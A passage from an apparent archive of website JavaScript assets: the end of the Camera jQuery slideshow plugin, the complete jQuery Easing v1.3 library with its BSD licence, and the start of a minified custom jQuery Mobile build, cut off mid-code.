'-'+Math.floor((w/cols)+addLeft+1)+'px'; break; case 'blindCurtainBottomRight': height = Math.floor((h/rows)+addTop+1), width = 0, marginLeft = Math.floor((w/cols)+addLeft+1)+'px'; break; case 'blindCurtainSliceBottom': height = Math.floor((h/rows)+addTop+1), width = 0; if(value%2==0){ marginLeft = '-'+Math.floor((w/cols)+addLeft+1)+'px'; } else { marginLeft = Math.floor((w/cols)+addLeft+1)+'px'; } break; case 'blindCurtainSliceTop': height = Math.floor((h/rows)+addTop+1), width = 0; if(value%2==0){ marginLeft = '-'+Math.floor((w/cols)+addLeft+1)+'px'; } else { marginLeft = Math.floor((w/cols)+addLeft+1)+'px'; } break; case 'stampede': height = 0; width = 0; marginLeft = (w*0.2)*(((index)%cols)-(cols-(Math.floor(cols/2))))+'px'; marginTop = (h*0.2)*((Math.floor(index/cols)+1)-(rows-(Math.floor(rows/2))))+'px'; break; case 'mosaic': height = 0; width = 0; break; case 'mosaicReverse': height = 0; width = 0; marginLeft = Math.floor((w/cols)+addLeft+1)+'px'; marginTop = Math.floor((h/rows)+addTop+1)+'px'; break; case 'mosaicRandom': height = 0; width = 0; marginLeft = Math.floor((w/cols)+addLeft+1)*0.5+'px'; marginTop = Math.floor((h/rows)+addTop+1)*0.5+'px'; break; case 'mosaicSpiral': height = 0; width = 0; marginLeft = Math.floor((w/cols)+addLeft+1)*0.5+'px'; marginTop = Math.floor((h/rows)+addTop+1)*0.5+'px'; break; case 'mosaicSpiralReverse': height = 0; width = 0; marginLeft = Math.floor((w/cols)+addLeft+1)*0.5+'px'; marginTop = Math.floor((h/rows)+addTop+1)*0.5+'px'; break; case 'topLeftBottomRight': height = 0; width = 0; break; case 'bottomRightTopLeft': height = 0; width = 0; marginLeft = Math.floor((w/cols)+addLeft+1)+'px'; marginTop = Math.floor((h/rows)+addTop+1)+'px'; break; case 'bottomLeftTopRight': height = 0; width = 0; marginLeft = 0; marginTop = Math.floor((h/rows)+addTop+1)+'px'; break; case 'topRightBottomLeft': height = 0; width = 0; marginLeft = Math.floor((w/cols)+addLeft+1)+'px'; marginTop = 0; break; case 'scrollRight': height = h; width = w; marginLeft = -w; break; case 'scrollLeft': height = h; width = w; marginLeft = w; break; case 'scrollTop': height = h; width = w; marginTop = h; break; case 'scrollBottom': height = h; width = w; marginTop = -h; break; case 'scrollHorz': height = h; width = w; if(vis==0 && slideI==amountSlide-1) { marginLeft = -w; } else if(vis<slideI || (vis==amountSlide-1 && slideI==0)) { marginLeft = w; } else { marginLeft = -w; } break; } var tApp = $('.cameraappended:eq('+value+')',target); if(typeof u !== 'undefined'){ clearInterval(u); clearTimeout(setT); setT = setTimeout(canvasLoader,transPeriod+difference); } if($(pagination).length){ $('.camera_pag li',wrap).removeClass('cameracurrent'); $('.camera_pag li',wrap).eq(slideI).addClass('cameracurrent'); } if($(thumbs).length){ $('li', thumbs).removeClass('cameracurrent'); $('li', thumbs).eq(slideI).addClass('cameracurrent'); $('li', thumbs).not('.cameracurrent').find('img').animate({opacity:.5},0); $('li.cameracurrent img', thumbs).animate({opacity:1},0); $('li', thumbs).hover(function(){ $('img',this).stop(true,false).animate({opacity:1},150); },function(){ if(!$(this).hasClass('cameracurrent')){ $('img',this).stop(true,false).animate({opacity:.5},150); } }); } var easedTime = parseFloat(transPeriod)+parseFloat(difference); function cameraeased() { $(this).addClass('cameraeased'); if($('.cameraeased',target).length>=0){ $(thumbs).css({visibility:'visible'}); } if($('.cameraeased',target).length==blocks){ thumbnailPos(); $('.moveFromLeft, .moveFromRight, .moveFromTop, .moveFromBottom, .fadeIn, .fadeFromLeft, .fadeFromRight, .fadeFromTop, .fadeFromBottom',fakeHover).each(function(){ $(this).css('visibility','hidden'); }); selector.eq(slideI).show().css('z-index','999').removeClass('cameranext').addClass('cameracurrent'); selector.eq(vis).css('z-index','1').removeClass('cameracurrent'); $('.cameraContent',fakeHover).eq(slideI).addClass('cameracurrent'); if (vis >= 0) { $('.cameraContent',fakeHover).eq(vis).removeClass('cameracurrent'); } opts.onEndTransition.call(this); if($('> div', elem).eq(slideI).attr('data-video')!='hide' && $('.cameraContent.cameracurrent .imgFake',fakeHover).length ){ $('.cameraContent.cameracurrent .imgFake',fakeHover).click(); } var lMoveIn = selector.eq(slideI).find('.fadeIn').length; var lMoveInContent = $('.cameraContent',fakeHover).eq(slideI).find('.moveFromLeft, .moveFromRight, .moveFromTop, .moveFromBottom, .fadeIn, .fadeFromLeft, .fadeFromRight, .fadeFromTop, .fadeFromBottom').length; if (lMoveIn!=0){ $('.cameraSlide.cameracurrent .fadeIn',fakeHover).each(function(){ if($(this).attr('data-easing')!=''){ var easeMove = $(this).attr('data-easing'); } else { var easeMove = easing; } var t = $(this); if(typeof t.attr('data-outerWidth') === 'undefined' || t.attr('data-outerWidth') === false || t.attr('data-outerWidth') === '') { var wMoveIn = t.outerWidth(); t.attr('data-outerWidth',wMoveIn); } else { var wMoveIn = t.attr('data-outerWidth'); } if(typeof t.attr('data-outerHeight') === 'undefined' || t.attr('data-outerHeight') === false || t.attr('data-outerHeight') === '') { var hMoveIn = t.outerHeight(); t.attr('data-outerHeight',hMoveIn); } else { var hMoveIn = t.attr('data-outerHeight'); } //t.css('width',wMoveIn); var pos = t.position(); var left = pos.left; var top = pos.top; var tClass = t.attr('class'); var ind = t.index(); var hRel = t.parents('.camerarelative').outerHeight(); var wRel = t.parents('.camerarelative').outerWidth(); if(tClass.indexOf("fadeIn") != -1) { t.animate({opacity:0},0).css('visibility','visible').delay((time/lMoveIn)*(0.1*(ind-1))).animate({opacity:1},(time/lMoveIn)*0.15,easeMove); } else { t.css('visibility','visible'); } }); } $('.cameraContent.cameracurrent',fakeHover).show(); if (lMoveInContent!=0){ $('.cameraContent.cameracurrent .moveFromLeft, .cameraContent.cameracurrent .moveFromRight, .cameraContent.cameracurrent .moveFromTop, .cameraContent.cameracurrent .moveFromBottom, .cameraContent.cameracurrent .fadeIn, .cameraContent.cameracurrent .fadeFromLeft, .cameraContent.cameracurrent .fadeFromRight, .cameraContent.cameracurrent .fadeFromTop, .cameraContent.cameracurrent .fadeFromBottom',fakeHover).each(function(){ if($(this).attr('data-easing')!=''){ var easeMove = $(this).attr('data-easing'); } else { var easeMove = easing; } var t = $(this); var pos = t.position(); var left = pos.left; var top = pos.top; var tClass = t.attr('class'); var ind = t.index(); var thisH = t.outerHeight(); if(tClass.indexOf("moveFromLeft") != -1) { t.css({'left':'-'+(w)+'px','right':'auto'}); t.css('visibility','visible').delay((time/lMoveInContent)*(0.1*(ind-1))).animate({'left':pos.left},(time/lMoveInContent)*0.15,easeMove); } else if(tClass.indexOf("moveFromRight") != -1) { t.css({'left':w+'px','right':'auto'}); t.css('visibility','visible').delay((time/lMoveInContent)*(0.1*(ind-1))).animate({'left':pos.left},(time/lMoveInContent)*0.15,easeMove); } else if(tClass.indexOf("moveFromTop") != -1) { t.css({'top':'-'+h+'px','bottom':'auto'}); t.css('visibility','visible').delay((time/lMoveInContent)*(0.1*(ind-1))).animate({'top':pos.top},(time/lMoveInContent)*0.15,easeMove,function(){ t.css({top:'auto',bottom:0}); }); } else if(tClass.indexOf("moveFromBottom") != -1) { t.css({'top':h+'px','bottom':'auto'}); t.css('visibility','visible').delay((time/lMoveInContent)*(0.1*(ind-1))).animate({'top':pos.top},(time/lMoveInContent)*0.15,easeMove); } else if(tClass.indexOf("fadeFromLeft") != -1) { t.animate({opacity:0},0).css({'left':'-'+(w)+'px','right':'auto'}); t.css('visibility','visible').delay((time/lMoveInContent)*(0.1*(ind-1))).animate({'left':pos.left,opacity:1},(time/lMoveInContent)*0.15,easeMove); } else if(tClass.indexOf("fadeFromRight") != -1) { t.animate({opacity:0},0).css({'left':(w)+'px','right':'auto'}); t.css('visibility','visible').delay((time/lMoveInContent)*(0.1*(ind-1))).animate({'left':pos.left,opacity:1},(time/lMoveInContent)*0.15,easeMove); } else if(tClass.indexOf("fadeFromTop") != -1) { t.animate({opacity:0},0).css({'top':'-'+(h)+'px','bottom':'auto'}); t.css('visibility','visible').delay((time/lMoveInContent)*(0.1*(ind-1))).animate({'top':pos.top,opacity:1},(time/lMoveInContent)*0.15,easeMove,function(){ t.css({top:'auto',bottom:0}); }); } else if(tClass.indexOf("fadeFromBottom") != -1) { t.animate({opacity:0},0).css({'bottom':'-'+thisH+'px'}); t.css('visibility','visible').delay((time/lMoveInContent)*(0.1*(ind-1))).animate({'bottom':'0',opacity:1},(time/lMoveInContent)*0.15,easeMove); } else if(tClass.indexOf("fadeIn") != -1) { t.animate({opacity:0},0).css('visibility','visible').delay((time/lMoveInContent)*(0.1*(ind-1))).animate({opacity:1},(time/lMoveInContent)*0.15,easeMove); } else { t.css('visibility','visible'); } }); } $('.cameraappended',target).remove(); elem.removeClass('camerasliding'); selector.eq(vis).hide(); var barWidth = $('.camera_bar_cont',camera_thumbs_wrap).width(), barHeight = $('.camera_bar_cont',camera_thumbs_wrap).height(), radSum; if (loader != 'pie') { radSum = 0.05; } else { radSum = 0.005; } $('#'+pieID).animate({opacity:opts.loaderOpacity},200); u = setInterval( function(){ if(elem.hasClass('stopped')){ clearInterval(u); } if (loader != 'pie') { if(rad<=1.002 && !elem.hasClass('stopped') && !elem.hasClass('paused') && !elem.hasClass('hovered')){ rad = (rad+radSum); } else if (rad<=1 && (elem.hasClass('stopped') || elem.hasClass('paused') || elem.hasClass('stopped') || elem.hasClass('hovered'))){ rad = rad; } else { if(!elem.hasClass('stopped') && !elem.hasClass('paused') && !elem.hasClass('hovered')) { clearInterval(u); imgFake(); $('#'+pieID).animate({opacity:0},200,function(){ clearTimeout(setT); setT = setTimeout(canvasLoader,easedTime); nextSlide(); opts.onStartLoading.call(this); }); } } switch(barDirection){ case 'leftToRight': $('#'+pieID).animate({'right':barWidth-(barWidth*rad)},(time*radSum),'linear'); break; case 'rightToLeft': $('#'+pieID).animate({'left':barWidth-(barWidth*rad)},(time*radSum),'linear'); break; case 'topToBottom': $('#'+pieID).animate({'bottom':barHeight-(barHeight*rad)},(time*radSum),'linear'); break; case 'bottomToTop': $('#'+pieID).animate({'bottom':barHeight-(barHeight*rad)},(time*radSum),'linear'); break; } } else { radNew = rad; ctx.clearRect(0,0,opts.pieDiameter,opts.pieDiameter); ctx.globalCompositeOperation = 'destination-over'; ctx.beginPath(); ctx.arc((opts.pieDiameter)/2, (opts.pieDiameter)/2, (opts.pieDiameter)/2-opts.loaderStroke,0,Math.PI*2,false); ctx.lineWidth = opts.loaderStroke; ctx.strokeStyle = opts.loaderBgColor; ctx.stroke(); ctx.closePath(); ctx.globalCompositeOperation = 'source-over'; ctx.beginPath(); ctx.arc((opts.pieDiameter)/2, (opts.pieDiameter)/2, (opts.pieDiameter)/2-opts.loaderStroke,0,Math.PI*2*radNew,false); ctx.lineWidth = opts.loaderStroke-(opts.loaderPadding*2); ctx.strokeStyle = opts.loaderColor; ctx.stroke(); ctx.closePath(); if(rad<=1.002 && !elem.hasClass('stopped') && !elem.hasClass('paused') && !elem.hasClass('hovered')){ rad = (rad+radSum); } else if (rad<=1 && (elem.hasClass('stopped') || elem.hasClass('paused') || elem.hasClass('hovered'))){ rad = rad; } else { if(!elem.hasClass('stopped') && !elem.hasClass('paused') && !elem.hasClass('hovered')) { clearInterval(u); imgFake(); $('#'+pieID+', .camera_canvas_wrap',camera_thumbs_wrap).animate({opacity:0},200,function(){ clearTimeout(setT); setT = setTimeout(canvasLoader,easedTime); nextSlide(); opts.onStartLoading.call(this); }); } } } },time*radSum ); } } if(fx=='scrollLeft' || fx=='scrollRight' || fx=='scrollTop' || fx=='scrollBottom' || fx=='scrollHorz'){ opts.onStartTransition.call(this); easedTime = 0; tApp.delay((((transPeriod+difference)/blocks)*delay[index]*couples)*0.5).css({ 'display' : 'block', 'height': height, 'margin-left': marginLeft, 'margin-top': marginTop, 'width': width }).animate({ 'height': Math.floor((h/rows)+addTop+1), 'margin-top' : 0, 'margin-left' : 0, 'width' : Math.floor((w/cols)+addLeft+1) },(transPeriod-difference),easing,cameraeased); selector.eq(vis).delay((((transPeriod+difference)/blocks)*delay[index]*couples)*0.5).animate({ 'margin-left': marginLeft*(-1), 'margin-top': marginTop*(-1) },(transPeriod-difference),easing,function(){ $(this).css({'margin-top' : 0,'margin-left' : 0}); }); } else { opts.onStartTransition.call(this); easedTime = parseFloat(transPeriod)+parseFloat(difference); if(slideOn=='next'){ tApp.delay((((transPeriod+difference)/blocks)*delay[index]*couples)*0.5).css({ 'display' : 'block', 'height': height, 'margin-left': marginLeft, 'margin-top': marginTop, 'width': width, 'opacity' : opacityOnGrid }).animate({ 'height': Math.floor((h/rows)+addTop+1), 'margin-top' : 0, 'margin-left' : 0, 'opacity' : 1, 'width' : Math.floor((w/cols)+addLeft+1) },(transPeriod-difference),easing,cameraeased); } else { selector.eq(slideI).show().css('z-index','999').addClass('cameracurrent'); selector.eq(vis).css('z-index','1').removeClass('cameracurrent'); $('.cameraContent',fakeHover).eq(slideI).addClass('cameracurrent'); $('.cameraContent',fakeHover).eq(vis).removeClass('cameracurrent'); tApp.delay((((transPeriod+difference)/blocks)*delay[index]*couples)*0.5).css({ 'display' : 'block', 'height': Math.floor((h/rows)+addTop+1), 'margin-top' : 0, 'margin-left' : 0, 'opacity' : 1, 'width' : Math.floor((w/cols)+addLeft+1) }).animate({ 'height': height, 'margin-left': marginLeft, 'margin-top': marginTop, 'width': width, 'opacity' : opacityOnGrid },(transPeriod-difference),easing,cameraeased); } } }); } } if($(prevNav).length){ $(prevNav).click(function(){ if(!elem.hasClass('camerasliding')){ var idNum = parseFloat($('.cameraSlide.cameracurrent',target).index()); clearInterval(u); imgFake(); $('#'+pieID+', .camera_canvas_wrap',wrap).animate({opacity:0},0); canvasLoader(); if(idNum!=0){ nextSlide(idNum); } else { nextSlide(amountSlide); } opts.onStartLoading.call(this); } }); } if($(nextNav).length){ $(nextNav).click(function(){ if(!elem.hasClass('camerasliding')){ var idNum = parseFloat($('.cameraSlide.cameracurrent',target).index()); clearInterval(u); imgFake(); $('#'+pieID+', .camera_canvas_wrap',camera_thumbs_wrap).animate({opacity:0},0); canvasLoader(); if(idNum==amountSlide-1){ nextSlide(1); } else { nextSlide(idNum+2); } opts.onStartLoading.call(this); } }); } if(isMobile()){ fakeHover.bind('swipeleft',function(event){ if(!elem.hasClass('camerasliding')){ var idNum = parseFloat($('.cameraSlide.cameracurrent',target).index()); clearInterval(u); imgFake(); $('#'+pieID+', .camera_canvas_wrap',camera_thumbs_wrap).animate({opacity:0},0); canvasLoader(); if(idNum==amountSlide-1){ nextSlide(1); } else { nextSlide(idNum+2); } opts.onStartLoading.call(this); } }); fakeHover.bind('swiperight',function(event){ if(!elem.hasClass('camerasliding')){ var idNum = parseFloat($('.cameraSlide.cameracurrent',target).index()); clearInterval(u); imgFake(); $('#'+pieID+', .camera_canvas_wrap',camera_thumbs_wrap).animate({opacity:0},0); canvasLoader(); if(idNum!=0){ nextSlide(idNum); } else { nextSlide(amountSlide); } opts.onStartLoading.call(this); } }); } if($(pagination).length){ $('.camera_pag li',wrap).click(function(){ if(!elem.hasClass('camerasliding')){ var idNum = parseFloat($(this).index()); var curNum = parseFloat($('.cameraSlide.cameracurrent',target).index()); if(idNum!=curNum) { clearInterval(u); imgFake(); $('#'+pieID+', .camera_canvas_wrap',camera_thumbs_wrap).animate({opacity:0},0); canvasLoader(); nextSlide(idNum+1); opts.onStartLoading.call(this); } } }); } if($(thumbs).length) { $('.pix_thumb img',thumbs).click(function(){ if(!elem.hasClass('camerasliding')){ var idNum = parseFloat($(this).parents('li').index()); var curNum = parseFloat($('.cameracurrent',target).index()); if(idNum!=curNum) { clearInterval(u); imgFake(); $('#'+pieID+', .camera_canvas_wrap',camera_thumbs_wrap).animate({opacity:0},0); $('.pix_thumb',thumbs).removeClass('cameracurrent'); $(this).parents('li').addClass('cameracurrent'); canvasLoader(); nextSlide(idNum+1); thumbnailPos(); opts.onStartLoading.call(this); } } }); $('.camera_thumbs_cont .camera_prevThumbs',camera_thumbs_wrap).hover(function(){ $(this).stop(true,false).animate({opacity:1},250); },function(){ $(this).stop(true,false).animate({opacity:.7},250); }); $('.camera_prevThumbs',camera_thumbs_wrap).click(function(){ var sum = 0, wTh = $(thumbs).outerWidth(), offUl = $('ul', thumbs).offset().left, offDiv = $('> div', thumbs).offset().left, ulLeft = offDiv-offUl; $('.camera_visThumb',thumbs).each(function(){ var tW = $(this).outerWidth(); sum = sum+tW; }); if(ulLeft-sum>0){ $('ul', thumbs).animate({'margin-left':'-'+(ulLeft-sum)+'px'},500,thumbnailVisible); } else { $('ul', thumbs).animate({'margin-left':0},500,thumbnailVisible); } }); $('.camera_thumbs_cont .camera_nextThumbs',camera_thumbs_wrap).hover(function(){ $(this).stop(true,false).animate({opacity:1},250); },function(){ $(this).stop(true,false).animate({opacity:.7},250); }); $('.camera_nextThumbs',camera_thumbs_wrap).click(function(){ var sum = 0, wTh = $(thumbs).outerWidth(), ulW = $('ul', thumbs).outerWidth(), offUl = $('ul', thumbs).offset().left, offDiv = $('> div', thumbs).offset().left, ulLeft = offDiv-offUl; $('.camera_visThumb',thumbs).each(function(){ var tW = $(this).outerWidth(); sum = sum+tW; }); if(ulLeft+sum+sum<ulW){ $('ul', thumbs).animate({'margin-left':'-'+(ulLeft+sum)+'px'},500,thumbnailVisible); } else { $('ul', thumbs).animate({'margin-left':'-'+(ulW-wTh)+'px'},500,thumbnailVisible); } }); } } })(jQuery); ;(function($){$.fn.cameraStop = function() { var wrap = $(this), elem = $('.camera_src',wrap), pieID = 'pie_'+wrap.index(); elem.addClass('stopped'); if($('.camera_showcommands').length) { var camera_thumbs_wrap = $('.camera_thumbs_wrap',wrap); } else { var camera_thumbs_wrap = wrap; } } })(jQuery); ;(function($){$.fn.cameraPause = function() { var wrap = $(this); var elem = $('.camera_src',wrap); elem.addClass('paused'); } })(jQuery); ;(function($){$.fn.cameraResume = function() { var wrap = $(this); var elem = $('.camera_src',wrap); if(typeof autoAdv === 'undefined' || autoAdv!==true){ elem.removeClass('paused'); } } })(jQuery);assets/js/jquery.easing.1.3.js000060400000020155151652224050012105 0ustar00/* * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/ * * Uses the built in easing capabilities added In jQuery 1.1 * to offer multiple easing options * * TERMS OF USE - jQuery Easing * * Open source under the BSD License. * * Copyright © 2008 George McGinley Smith * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * Neither the name of the author nor the names of contributors may be used to endorse * or promote products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * */ // t: current time, b: begInnIng value, c: change In value, d: duration jQuery.easing['jswing'] = jQuery.easing['swing']; jQuery.extend( jQuery.easing, { def: 'easeOutQuad', swing: function (x, t, b, c, d) { //alert(jQuery.easing.default); return jQuery.easing[jQuery.easing.def](x, t, b, c, d); }, easeInQuad: function (x, t, b, c, d) { return c*(t/=d)*t + b; }, easeOutQuad: function (x, t, b, c, d) { return -c *(t/=d)*(t-2) + b; }, easeInOutQuad: function (x, t, b, c, d) { if ((t/=d/2) < 1) return c/2*t*t + b; return -c/2 * ((--t)*(t-2) - 1) + b; }, easeInCubic: function (x, t, b, c, d) { return c*(t/=d)*t*t + b; }, easeOutCubic: function (x, t, b, c, d) { return c*((t=t/d-1)*t*t + 1) + b; }, easeInOutCubic: function (x, t, b, c, d) { if ((t/=d/2) < 1) return c/2*t*t*t + b; return c/2*((t-=2)*t*t + 2) + b; }, easeInQuart: function (x, t, b, c, d) { return c*(t/=d)*t*t*t + b; }, easeOutQuart: function (x, t, b, c, d) { return -c * ((t=t/d-1)*t*t*t - 1) + b; }, easeInOutQuart: function (x, t, b, c, d) { if ((t/=d/2) < 1) return c/2*t*t*t*t + b; return -c/2 * ((t-=2)*t*t*t - 2) + b; }, easeInQuint: function (x, t, b, c, d) { return c*(t/=d)*t*t*t*t + b; }, easeOutQuint: function (x, t, b, c, d) { return c*((t=t/d-1)*t*t*t*t + 1) + b; }, easeInOutQuint: function (x, t, b, c, d) { if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b; return c/2*((t-=2)*t*t*t*t + 2) + b; }, easeInSine: function (x, t, b, c, d) { return -c * Math.cos(t/d * (Math.PI/2)) + c + b; }, easeOutSine: function (x, t, b, c, d) { return c * Math.sin(t/d * (Math.PI/2)) + b; }, easeInOutSine: function (x, t, b, c, d) { return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b; }, easeInExpo: function (x, t, b, c, d) { return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b; }, easeOutExpo: function (x, t, b, c, d) { return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b; }, easeInOutExpo: function (x, t, b, c, d) { if (t==0) return b; if (t==d) return b+c; if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b; return c/2 * (-Math.pow(2, -10 * --t) + 2) + b; }, easeInCirc: function (x, t, b, c, d) { return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b; }, easeOutCirc: function (x, t, b, c, d) { return c * Math.sqrt(1 - (t=t/d-1)*t) + b; }, easeInOutCirc: function (x, t, b, c, d) { if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b; return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b; }, easeInElastic: function (x, t, b, c, d) { var s=1.70158;var p=0;var a=c; if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3; if (a < Math.abs(c)) { a=c; var s=p/4; } else var s = p/(2*Math.PI) * Math.asin (c/a); return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b; }, easeOutElastic: function (x, t, b, c, d) { var s=1.70158;var p=0;var a=c; if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3; if (a < Math.abs(c)) { a=c; var s=p/4; } else var s = p/(2*Math.PI) * Math.asin (c/a); return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b; }, easeInOutElastic: function (x, t, b, c, d) { var s=1.70158;var p=0;var a=c; if (t==0) return b; if ((t/=d/2)==2) return b+c; if (!p) p=d*(.3*1.5); if (a < Math.abs(c)) { a=c; var s=p/4; } else var s = p/(2*Math.PI) * Math.asin (c/a); if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b; return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b; }, easeInBack: function (x, t, b, c, d, s) { if (s == undefined) s = 1.70158; return c*(t/=d)*t*((s+1)*t - s) + b; }, easeOutBack: function (x, t, b, c, d, s) { if (s == undefined) s = 1.70158; return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b; }, easeInOutBack: function (x, t, b, c, d, s) { if (s == undefined) s = 1.70158; if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b; return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b; }, easeInBounce: function (x, t, b, c, d) { return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b; }, easeOutBounce: function (x, t, b, c, d) { if ((t/=d) < (1/2.75)) { return c*(7.5625*t*t) + b; } else if (t < (2/2.75)) { return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b; } else if (t < (2.5/2.75)) { return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b; } else { return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b; } }, easeInOutBounce: function (x, t, b, c, d) { if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b; return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b; } }); /* * * TERMS OF USE - EASING EQUATIONS * * Open source under the BSD License. * * Copyright © 2001 Robert Penner * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * Neither the name of the author nor the names of contributors may be used to endorse * or promote products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * */assets/js/jquery.mobile.customized.min.js000060400000042170151652224050014556 0ustar00// jQuery Mobile framework customized for Camera slideshow, made by // 'jquery.mobile.define.js', // 'jquery.ui.widget.js', // 'jquery.mobile.widget.js', // 'jquery.mobile.media.js', // 'jquery.mobile.support.js', // 'jquery.mobile.vmouse.js', // 'jquery.mobile.event.js', // 'jquery.mobile.core.js' window.define=function(){Array.prototype.slice.call(arguments).pop()(window.jQuery)};define(["jquery"],function(a){(function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++){a(e).triggerHandler("remove")}c(b)}}else{var d=a.fn.remove;a.fn.remove=function(b,c){return this.each(function(){if(!c){if(!b||a.filter(b,[this]).length){a("*",this).add([this]).each(function(){a(this).triggerHandler("remove")})}}return d.call(a(this),b,c)})}}a.widget=function(b,c,d){var e=b.split(".")[0],f;b=b.split(".")[1];f=e+"-"+b;if(!d){d=c;c=a.Widget}a.expr[":"][f]=function(c){return!!a.data(c,b)};a[e]=a[e]||{};a[e][b]=function(a,b){if(arguments.length){this._createWidget(a,b)}};var g=new c;g.options=a.extend(true,{},g.options);a[e][b].prototype=a.extend(true,g,{namespace:e,widgetName:b,widgetEventPrefix:a[e][b].prototype.widgetEventPrefix||b,widgetBaseClass:f},d);a.widget.bridge(b,a[e][b])};a.widget.bridge=function(c,d){a.fn[c]=function(e){var f=typeof e==="string",g=Array.prototype.slice.call(arguments,1),h=this;e=!f&&g.length?a.extend.apply(null,[true,e].concat(g)):e;if(f&&e.charAt(0)==="_"){return h}if(f){this.each(function(){var d=a.data(this,c);if(!d){throw"cannot call methods on "+c+" prior to initialization; "+"attempted to call method '"+e+"'"}if(!a.isFunction(d[e])){throw"no such method '"+e+"' for "+c+" widget instance"}var f=d[e].apply(d,g);if(f!==d&&f!==b){h=f;return false}})}else{this.each(function(){var b=a.data(this,c);if(b){b.option(e||{})._init()}else{a.data(this,c,new d(e,this))}})}return h}};a.Widget=function(a,b){if(arguments.length){this._createWidget(a,b)}};a.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",options:{disabled:false},_createWidget:function(b,c){a.data(c,this.widgetName,this);this.element=a(c);this.options=a.extend(true,{},this.options,this._getCreateOptions(),b);var d=this;this.element.bind("remove."+this.widgetName,function(){d.destroy()});this._create();this._trigger("create");this._init()},_getCreateOptions:function(){var b={};if(a.metadata){b=a.metadata.get(element)[this.widgetName]}return b},_create:function(){},_init:function(){},destroy:function(){this.element.unbind("."+this.widgetName).removeData(this.widgetName);this.widget().unbind("."+this.widgetName).removeAttr("aria-disabled").removeClass(this.widgetBaseClass+"-disabled "+"ui-state-disabled")},widget:function(){return this.element},option:function(c,d){var e=c;if(arguments.length===0){return a.extend({},this.options)}if(typeof c==="string"){if(d===b){return this.options[c]}e={};e[c]=d}this._setOptions(e);return this},_setOptions:function(b){var c=this;a.each(b,function(a,b){c._setOption(a,b)});return this},_setOption:function(a,b){this.options[a]=b;if(a==="disabled"){this.widget()[b?"addClass":"removeClass"](this.widgetBaseClass+"-disabled"+" "+"ui-state-disabled").attr("aria-disabled",b)}return this},enable:function(){return 